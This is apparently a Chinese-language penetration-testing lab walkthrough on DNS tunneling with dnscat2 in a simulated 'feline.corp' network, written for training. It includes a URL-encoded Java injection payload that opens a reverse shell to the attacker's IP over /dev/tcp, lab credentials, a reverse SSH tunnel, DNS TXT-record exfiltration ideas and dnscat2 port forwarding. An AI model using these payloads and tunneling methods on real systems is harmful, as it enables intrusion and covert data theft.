DNS Tunneling - Dnscat2

 DNS Tunneling - Dnscat2


場景示意圖



kali 攻擊機 192.168.45.244

靶機

 - 192.168.244.7 (kali / 7he_C4t_c0ntro11er) : Domain feline.corp Name Server

 - 192.168.244.63 (Web)

 - 192.168.244.64 (Internal DNS Server)

 - 10.4.244.215 (database_admin / sqlpass123) : Client


先看一下 feline.corp Name Server

sh kali@192.168.244.7

hostname

whoami

ls

cat dnsmasq.conf --> DNS 伺服器最小配置




啟動 DNS Server,sudo dnsmasq -C dnsmasq.conf -d




再連一個 SSH Shell 然後做 tcpdump for UDP 53 port

指令 sudo tcpdump -i ens192 udp port 53





第一步漏洞入侵 Web

curl -v http://192.168.244.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.244/4444%200%3E%261%27%29.start%28%29%22%29%7D/

然後確保 TTY,python3 -c 'import pty; pty.spawn("/bin/bash")'

走 SSH Tunneling 攻擊機掛載 2222 Port 對應到 DB Server 22 Port

ssh -N -R 127.0.0.1:2222:10.4.244.215:22 kali@192.168.45.244

第一次連線發生 Connection refused

這是因為 kali 攻擊機的 OPENSSH 權限,所以要執行 └─$ sudo systemctl start ssh 




接著 └─$ ssh database_admin@127.0.0.1 -p 2222

帶帳號密碼 database_admin : sqlpass123 就連入 DB Server (即這次的 DNS Client)




使用 resolvectl status 確認一下現在的 DNS 伺服器為 10.4.244.64 (Internal DNS Server) 無誤





隨便查一筆看看 nslookup exfiltrated-data.feline.corp,結果是 NX Domain




tcpdump 也有看到來問,然後回復 NX Domain





目前情境如下



想像一下我們有一個想要從 PGDATABASE01 中洩漏的二進位檔案。我們怎樣才能做到這一點?

這將需要一系列連續的請求。我們可以將二進位檔案轉換為長的十六進位字串表示形式,將該字串拆分為一系列較小的區塊,然後在 [hex-string-chunk].feline.corp 的 DNS 請求中發送每個塊

這就是 DNS Tunneling 的原理,最後再將這些塊組合起來然後將十六進位字串轉換回完整的二進位檔案即可得到二進位檔案


先將原有的 Name Server DNS 服務停止再啟動,這次啟動改成讀另一個設定檔 dnsmasq_txt.conf

該設定檔有包含兩筆 www.feline.corp 的 TXT Record

txt-record=www.feline.corp,here's something useful!

txt-record=www.feline.corp,here's something else less useful.




從 client 測試看看吧,nslookup -type=txt www.feline.corp,可以看到 TXT Record




所以這裡有一個大膽簡單的想法,如果我們想要滲透二進位數據進到某個組織內部,可以將其作為一系列 Base64 或 ASCII 十六進位編碼的 TXT 記錄,在內部伺服器上將其轉換回二進位就滲透進去了


19.2.1 的 flag 直接 web 漏洞進去 nslookup 就可以拿到了






正式進入 dnscat2,於 NS 上啟動 dnscat2 伺服器並包含 feline.corp

kali@felineauthority:~$ dnscat2-server feline.corp




DB-Client 預設有載入 dnscat client,執行後一樣對應網域 feline.corp

指令 ./dnscat feline.corp




伺服器上也可以看到連線建立了





注意看上兩張圖,其中 [ Softy Sippy Upseal Neigh Impish Mona ] 這句話是隨機產生的,這是身分驗證字串


接著去看 tcpdump,可以看到一直在對該網域 *.feline.corp 送出隨機的網域

但僅包含三中 DNS Records : MX、CNAME、TXT,這是 dnscat 的程序限制





伺服器上可以開始互動了

windows

window -i 1 --> 列出可用的命令

?





使用 --help 來查看指令,listen --help

可以看到 listen 就像 ssh -L,在 SSH Tunneling 中應用過幾次





我們的目標是內內網主機 172.16.244.217 的 4646 Port

透過 dnscat_exercise_client 去拿 flag,一樣先下載檔案吧

http://192.168.244.63:8090/exercises/dnscat_exercise_client





name server 開 4646 Port 對應到 172.16.244.217 4646 Port

listen 127.0.0.1:4646 172.16.244.217:4646



確定 4646 Port 有起來,kali@felineauthority:~$ ss -ntplu




但是是起在 127.0.0.1 ,所以再起一個 4647 跑在 192.168.244.7 上

listen 192.168.244.7:4647 172.16.244.217:4646

一樣  ss -ntplu 有看到 4647 與 4646 都是對應到 172.16.244.217 的 4646




然後從攻擊機直接對 192.168.244.7 4647 Port 執行檔案拿 flag







留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)